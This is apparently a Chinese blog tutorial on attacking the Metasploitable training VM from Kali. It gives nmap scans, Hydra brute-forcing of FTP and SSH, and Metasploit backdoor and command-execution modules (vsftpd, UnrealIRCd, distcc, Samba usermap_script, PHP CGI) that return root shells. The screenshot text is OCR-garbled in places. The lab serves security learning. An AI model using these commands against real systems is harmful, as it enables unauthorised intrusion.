 (
1
)www.mrxn.net原创出品 ,欢迎访问Mrxn’s Blog
Kali渗透测试演练Metasploitable靶机
准备工作：
· VM虚拟机（http://www.vmware.com/cn.html）
· Kali（https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/）
· Metasploitable靶机（https://sourceforge.net/projects/metasploitable/）
· 要求Kali和靶机在同一个Lan段
在开始工作前都确认一一下是否在同一个Lan段，分别登录Kali和靶机使用ifconfig 命令查看
注意：Metasploitable的默认账号、密码是：msfadmin:msfadmin，Kali的默认是root:toor
[bookmark: _GoBack]



第一阶段：扫描阶段，工具 namp 
命令：隐蔽扫描：nmap -sS 192.168.209.138



端口爆破：FTP、SSH等

工具：Hydra

备用字典：


· 爆破FTP
hydra -L  /root/Desktop/user.txt  -P  /root/Desktop/pass.txt ftp://192.168.209.138


· 爆破ssh

hydra -L  /root/Desktop/user.txt  -P  /root/Desktop/pass.txt 192.168.209.138 ssh


通过23端口telnet登录进系统




下面进行演示常见端口的测试：
注：因为漏洞的利用需要使用Metasploit
因此我们需要先启动他，在此稍作说明，免得有些小白想玩的说下面的命令怎么没反应-_-|| ,Metasploit 使用PostgreSQL作为数据库，所以必须先运行它,使用如下命令运行：
service postgresql start

可以用 ss -ant  的输出来检验PostgreSQL是否在运行，然后确认5432端口处于listening状态

启动Kali的Metasploit服务：随着PostgreSQL的启动和运行，接着我们要运行Metasploit服务。第一次运行服务会创建一个msf3数据库用户和一个叫msf3的数据库。还会运行Metasploit RPC和它需要的WEB 服务端

在Kali运行msfconsole：现在PostgreSQL 和 Metasploit服务都运行了，可以运行 msfconsole，然后用 db_status 命令检验数据库的连通性。
直接使用msfconsole 来运行它：

就等待Metasploit 框架运行吧。



它会显示有多少个exp、payload等

· 6667——-irc_3281_backdoor


成功获取会话，root权限


· 6200——-vsftpd_234_backdoor

反弹会话，root权限


· 1524——-ingrelock_backdoor
利用telnet连接1524，直接返回root会话


· 1099——-distcc程序漏洞—-ingrelock


返回会话


· 139——-samba为3.0漏洞
先用nmap进行详细扫描，nmap -v -A -T4 192.168.209.138

Samba 3.0.20，利用metasploit




· 8180——-Apache Tomcat弱口令

使用use auxiliary/scanner/http/tomcat_mgr_login进行账户爆破，用默认自带的字典即可





· 80——-PHP CGI参数注入执行漏洞
msf > search cve:2012-1823

msf > use exploit/multi/http/php_cgi_arg_injection

msf exploit(php_cgi_arg_injection) > show options

msf exploit(php_cgi_arg_injection) > set rhost 192.168.209.138

rhost => 192.168.209.138

msf exploit(php_cgi_arg_injection) > run
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nsfadnin nsfadnin
user user

posteres posteres
sys batnan
Ko 123456789

service service
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root@kali:/# hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt ftp
://192.168.209.138

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secr
et service organizations, or for illegal purposes

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-07 15:21:08
[DATA] max 16 tasks per 1 server, overall 64 tasks, 36 login tries (1:6/p:6)
~0_tries per task

[DATA] attacking service ftp on port 21

[21][ftp] host: 192.168.209.138  login: msfadmin password: msfadmin
[21][ftp] host: 192.168.209.138  login: user password: user
[21][ftp] host: 192.168.209.138 login: postgres password: postgres
[211[ftp] host: 192.168.209.138  login: service password: service

1 of 1 target successfully completed, 4 valid passwords found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-01-07 15:21:15
rootekali: /# I
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root@kali:/# hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192
.168.209.138 ssh

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secr
et service organizations, or for illegal purposes

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-87 15:40:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is r
ecomnended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 64 tasks, 36 login tries (1:6/p:6)
0 _tries per task

[DATA] attacking service ssh on port 22

[22][ssh] host: 192.168.209.138  login: user password: user

[22][ssh] host: 192.168.209.138 login: postgres password: postgres
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root@kali:/# telnet 192.168.209.138
Trying 192.168.209.138...
Connected to 192.168.209.138.
Escape character is 'A]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadnin to get started

metasploitable login: user
Password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 168
6

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help. ubuntu.con/
useremetasploitable: ~$
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user@metasploitable:~$ whoami

user

user@metasploitable: ™$ id

Uid=1001(user) gid=1001(user) groups=1001(user)
user@metasploitable:~$ I
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iser@metasploitable:™§ ifconfig
-the Link encap:Ethernet HWaddr 00:0c:29:79:bb:8e
inet addr:192.168.209.138 Bcast:192.168.209.255 Mask:255.255.255.
)
inet6 addr: fe8@::20c:29ff:fe79:bb8e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:
RX packets:3867 errors:@ dropped:0 overruns:0 frame:0
TX packets:2858 errors:@ dropped:0 overruns:@ carrier:0
collisions: txqueuelen:1008
RX bytes:271806 (265.4 KB) TX bytes:241272 (235.6 KB)
Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:881 errors:@ dropped:0 overruns:@ frame:®
TX packets:881 errors:0 dropped:® overruns:® carrier:
collisions:@ txqueuelen:0
RX bytes:413773 (404.0 KB) TX bytes:413773 (404.0 KB)

user@metasploitable:~$





image10.png
root@kali:/# msf

bash: msf: F % F| a4

root@kali:/# service postgresql start

[ ok ] Starting PostgresQL 9.1 database server: main.
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root@kali:/# ss -ant

State Recv-Q Send-Q
|ISTEN 0 128
_ISTEN 0 128

rootekali:/# Il

Local Address:Port
127.0.0.1:5432
111:5432

Peer Address:Port





image12.png
root@kali:/# service metasploit start

[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.

[ ok ] Starting Metasploit worker: worker.
root@kali:/# i
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root@kali:/# msfconsole
] Starting the Metasploit Framework console.../
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root@kali:™# service metasploit start

[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.

[ ok ] Starting Metasploit worker: worker.
root@kali:™# msfconsole

User Name: [ security 1

Password: [ ]

[ oK ]
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http://metasploit.pr

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.con/metasploit

=[ metasploit v4.11.4-2015071402

1467 exploits - 840 auxiliary - 232 post

432 payloads - 37 encoders - 8 nops

Free Metasploit Pro trial: http://r-7.co/trymsp
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>
> exit
root@kali:~# msfconsole

mst
mst

validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

metasploit v4.11.4-2015071402 ]
1476 exploits - 840 auxiliary - 232 post ]
432 payloads - 37 encoders - 8 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]
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nsf > use exploit/unix/irc/unreal_ircd_3281_backdoor
nsf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name ~Current Setting Required Description

RHOST yes The target address
RPORT 6667 yes The target port

Exploit target:

Id Name

0 Automatic Target

nsf exploit(unreal_ircd_3281_backdoor) > set rhost 192.168.209.138
rhost => 192.168.209.138
nsf exploit(unreal_ircd_3281_backdoor) > run

[*] Started reverse double handler
[*] Connected to 192.168.209.138:6667. ..
tirc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname..
iirc.Metasploitable. AN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
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nsf exploit(unreal_ircd_3281_backdoor) >
rhost => 192.168.209.138
nsf exploit(unreal_ircd_3281_backdoor) >

set rhost 192.168.209.138

run

1*#% Looking up your hostname. .
i*#% Couldn't resolve your hostname;

[*] Started reverse double handler

[*] Connected to 192.168.209.138:6667. ..
iirc.Metasploitable.LAN NOTICE AUTH
:irc.Metasploitable.LAN NOTICE AUTH

[*] Sending backdoor command. ..

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo IVA9oTpodEWMSSTS;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "IVA9OTpodEWMSSTS\r\n"

[*] Matching. ..

[*] A is input...

[*]

+0800

Command shell session 1 opened (192.168.209.139:4444 -> 192.168.

using your IP address instead

209.138:48748) at 2017-01-07 17:23:46
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whoami
root
ifconfig
ethe

lo

Link encap:Ethernet Hwaddr 00:0c:29:79:bb:8e

inet addr:192.168.209.138 Bcast:192.168.209.255
inet6 addr: fe80::20c:29ff:fe79:bb8e/64 Scope:lLink
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:

Mask:255.255.255.0

RX packets:5289 errors:@ dropped:0 overruns:0 frame:0
TX packets:3459 errors:@ dropped:0 overruns:@ carrier:0

collisions:@ txgueuelen:1000

RX bytes:394836 (385.5 KB) TX bytes:804309 (785.4 KB)

Interrupt:19 Base address:0x2000

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:1679 errors:@ dropped:0 overruns:0 frame:0
TX packets: 1679 errors:0 dropped:0 overruns:@ carrier:0

collisions:@ txqueuelen:0

RX bytes:800329 (781.5 KB) TX bytes:800329 (781.5 KB)
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msf exploit(unreal_ircd_3281_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor
nsf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name ~Current Setting Required Description

RHOST yes The target address
RPORT 21 yes The target port

Exploit target:

Id Name

0 Automatic

nsf exploit(vsftpd_234_backdoor) > set rhost 192.168.209.138
rhost => 192.168.209.138
nsf exploit(vsftpd_234_backdoor) > run

[*] Banner: 220 (vsFTPd 2.3.4)

[*] USER: 331 Please specify the password

[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=8(root)

[*] Found shell.
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nsf exploit(vsftpd_234_backdoor) > set rhost 192.168.209.138
rhost => 192.168.209.138
nsf exploit(vsftpd_234_backdoor) > run

[*] Banner: 220 (vsFTPd 2.3.4)

[*] USER: 331 Please specify the password

[+] Backdoor service has been spawned, handling...

[+] UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 2 opened (192.168.209.139:49568 -> 192.168.209.138:6200) at 2017-01-07 17:30:59
+0800

id

uid=0(root) gid=0(root)
whoami

root
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msf exploit(vsftpd_234_backdoor) > telnet 192.168.209.138 1524
[*] exec: telnet 192.168.209.138 1524

Trying 192.168.209.138. ..
Connected to 192.168.209.138.

Escape character is 'A]'.

id

root@metasploitable:/# uid=0(root) gid=8(root) groups=0(root)
whoami

root@metasploitable: /# rootemetasploitable:/# root

Uname -

root@metasploitable:/# root@metasploitable:/# 2.6.24-16-server
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msf exploit(vsftpd_234_backdoor) > use exploit/unix/misc/distcc_exec
nsf exploit(distcc_exec) > how options

-1 Unknown command: how

msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name ~Current Setting Required Description

RHOST yes The target address
RPORT 3632 yes The target port
Exploit target:
Id Name
0 Automatic Target
msf exploit(distcc_exec) > set rhost 192.168.209.138
rhost => 192.168.209.138
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler

[*] Accepted the first client connection...
[*] Accepted the second client connection
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msf exploit(distcc_exec) > set rhost 192.168.209.138
rhost => 192.168.209.138
nsf exploit(distcc_exec) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo LXMZxXk2x8zmCtZp

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "LXMZxXk2x0zmCtZp\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 4 opened (192.168.209.139:4444 -> 192.168.209.138:47148) at 2017-01-07 17:37:40
+0800

id
uid=1(daemon) gid=1(daenon) groups=1(daenon
whoami

daenon

uname -r

2.6.24-16-server
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METASPLOITABLE<20> Flags: <unique><active>
\x01\x02__MSBROWSE__\x02<81> Flags: <group><active>

WORKGROUP< 00> Flags: <group><actives
WORKGROUP<1d> Flags: <uniques<actives
WORKGROUP<1e> Flags: <group><actives

|

|

|

|

|-

| “smb-os-discovery
| 0S: Unix (Samba 3.0.20-Debian

| NetBIOS computer name

| Workgroup: WORKGROUP

|- System time: 2017-01-07T04:41:31-05:00
TRACEROLTE

HOP RTT ADDRESS

1 0.43 ns 192.168.209.138

NSE: Script Post-scanning
Initiating NSE at 17:42
Completed NSE at 17:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at http
//nmap. org/submit/
Nnap done: 1 IP address (1 host up) scanned in 74.87 seconds

Raw packets sent: 1020 (45.626KB) | Rcvd: 1016 (41.430KB)
root@kali:~#
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AuditEventsInfo Heap Overflow

exploit/1linux/samba/t rans2open 2003-04-07 great Samba trans2open Overflow
Linux x86)
exploit/multi/samba/nttrans 2003-04-07 average  Samba 2.2.2 - 2.2.6 nttrans

Buffer Overflow

exploit/osx/sanba/ 1sa_t ransnanes_heap 2007-05-14 average  Samba lsa_io_trans_names He
ap Overflow

exploit/osx/sanba/t rans2open 2003-04-07 great Samba trans2open Overflow
Mac 0S X PPC)

exploit/solaris/sanba/1sa_t ransnanes_heap 2007-05-14 average  Samba lsa_io_trans_names He
ap Overflow

exploit/solaris/sanba/trans2open 2003-04-07 great Samba trans2open Overflow
Solaris SPARC)

exploit/unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Execu
tion

exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Citrix Access Gateway Comma
nd Execution

exploit/windows/filefornat/ms14_060_sandworm  2014-10-14 excellent MS14-060 Microsoft Windows
OLE Package Manager Code Execution

exploit/windows/http/sambar_search_results 2003-06-21 normal Sambar 6 Search Results Buf
fer Overflow

exploit/windows/license/calicclnt_getconfig 2005-03-02 average  Computer Associates License
Client GETCONFIG Overflow

exploit/windows/smb/group_policy_startup 2015-01-26 manual Group Policy Script Executi

on From Shared Resource
post/1inux/gather/enun_configs normal Linux Gather Configurations
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exploit(distcc_exec) > use exploit/multi/samba/usermap_script

exploit(usernap_script) > xploit
Unknown command: xploit
exploit(usernap_script) > exploit

Exploit failed: The following options failed to validate: RHOST

exploit(usermap_script) > set rhost 192.168.209

rhost => 192.168.209.138

st

exploit(usernap_script) > exploit

Started reverse double handler
Accepted the first client connection
Accepted the second client connection...
Command: echo zTzeySB2672DKyST;

Writing to socket A

Writing to socket B

Reading from sockets. ..

Reading from socket B

B: "zTzeySB2672DKySI\r\n"

Matching. ..

A is input...

.138

Command shell session 5 opened (192.168.209.139:4444 -> 192.168.209.138:52308) at 2017-01-07 17:51:46
+0800

whoami

root

id
uid=

0(root) gid=0(root)

uname -r

2.6.

24-16-server
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msf exploit(usermap_script) > curl 192.168.209.138
[*] exec: curl 192.168.209.138

% Total % Received % Xferd Average Speed Time  Time Time Current
Dload Upload Total Spent  Left Speed
100 891 100 891 0 0 34607 [ S-i--ie- 37125

<html><head><title>Metasploitable? - Linux</title></head><body>
<pre>

Warning: Never expose this VM to an untrusted network

Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
</pre>

<ul>
<li><a href="/twiki/">TWiki</a></1i>

<li><a =" /phpMyAdnin/">phpMyAdnine/a></11>
<li><a /mutillidae/">Mutillidaec/a></11>
<li><a /dwa/ " >DVWA</a></ 11>
<li><a ="/dav/">WebDAV</a></ 11>

</ul>
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nsf > search cve:2012-1823

Matching Modules

Name Disclosure Date Rank Description

exploit/multi/http/php_cgi_arg_injection 2012-85-03 excellent PHP CGI Argument Injection

nst > [
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msf > search cve:2012-1823

Matching Modules

Name

exploit/multi/http/php_cgi_arg_injection

Disclosure Date Rank Description

2012-05-03 excellent PHP CGI Argument Injection

nsf > use exploit/multi/http/php_cgi_arg_injection
nsf exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection)

Name Current Setting
PLESK false

Proxies

RHOST

RPORT 80

TARGETURI

URIENCODING 0

VHOST

Exploit target:

Id Name

0 Automatic

Required Description

yes
no
yes
yes
no
yes
no

nsf exploit(php_cgi_arg_injection) > I

Exploit Plesk

A proxy chain of format type:host:port[,type:host:port][...

The target address
The target port

The URI to request (must be a CGI-handled PHP script)
Level of URI URIENCODING and padding (8 for minimum)
HTTP server virtual host
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root@kali:/# ifconfig
etho Link encap:Ethernet HWaddr 00:50:56:27:52:c8

inet addr:192.168.209.139 Bcast:192.168.209.255 Mask:255.255.255
0

inet6 addr: fe8@::250:56fF:fe27:52c8/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:

RX packets:64 errors:0 dropped:@ overruns:@ frame: e

TX packets:91 errors:@ dropped:0 overruns:0 carrier:e

collisions:@ txqueuelen:1008

RX bytes:6548 (6.3 KiB) TX bytes:8450 (8.2 KiB)

Interrupt:19 Base address:0x2000

o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:56 errors:0 dropped:@ overruns:@ frame: @
TX packets:56 errors:@ dropped:0 overruns:0 carrier:®
collisions:@ txqueuelen:0
RX bytes:4080 (3.9 KiB) TX bytes:4080 (3.9 KiB)

root@kali:/# nmap -sS 192.168.209.138
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sfadmin@netasploitable:/§ ifconfig

tho Link encap:Ethernet Huaddr 00:0
inet addr:192.168.209.138 Bcas
inet6 addr: feB0::20c:29ff :fe?9
UP BROADCAST RUNNING MULTICAST
RX packets:434 errors:0 dropped:
TX packets:120 errors:0 dropped:
collisions:0 txqueuelen:1000

RX bytes:31110 (30.3 KB) TX byt
Interrupt:19 Base address:0x2000
1o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.

inet6 addr: ::1,128 Scope:Host
UP LODPBACK RUNNING MTU:16436
RX packets:3?72 errors:0 dropped:
TX packets:372 errors:0 dropped:
collisions:0 txqueuelen:o

RX bytes:159121 (155.3 KB) TX b

sfadmin@metasploitable: /S

c:29:79:bb:Be
:192.168.209.255 Mask:255.255.255.0
ink

bBe/64 Scop
MTU:1500 HMetri.
0 overruns:0 frame:0

0 overruns:0 carrier:0

es:15388 (15.0 KB)

0.0
Metric:1

0 overruns:0 frame:0

0 overruns:0 carrier:0

ytes:159121 (155.3 KB)
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root@kali:/# nmap -sS 192.168.209.138

Starting Nmap 6.47 ( http://nmap.org ) at 2017-01-07 14:54 CST
Nmap scan report for 192.168.209.138
Host is up (0.80036s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp  open  ftp

22/tcp  open ssh

23/tcp  open telnet

25/tcp  open smtp

53/tcp  open domain

80/tcp  open http

111/tcp open  rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open  exec

513/tcp open login

514/tcp open  shell

1099/tcp open rmiregistry

1524/tcp open 1ingreslock

2049/tcp open nfs

2121/tcp open  ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 80:0C:29:79:BB:8E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
rootekali:/# Il




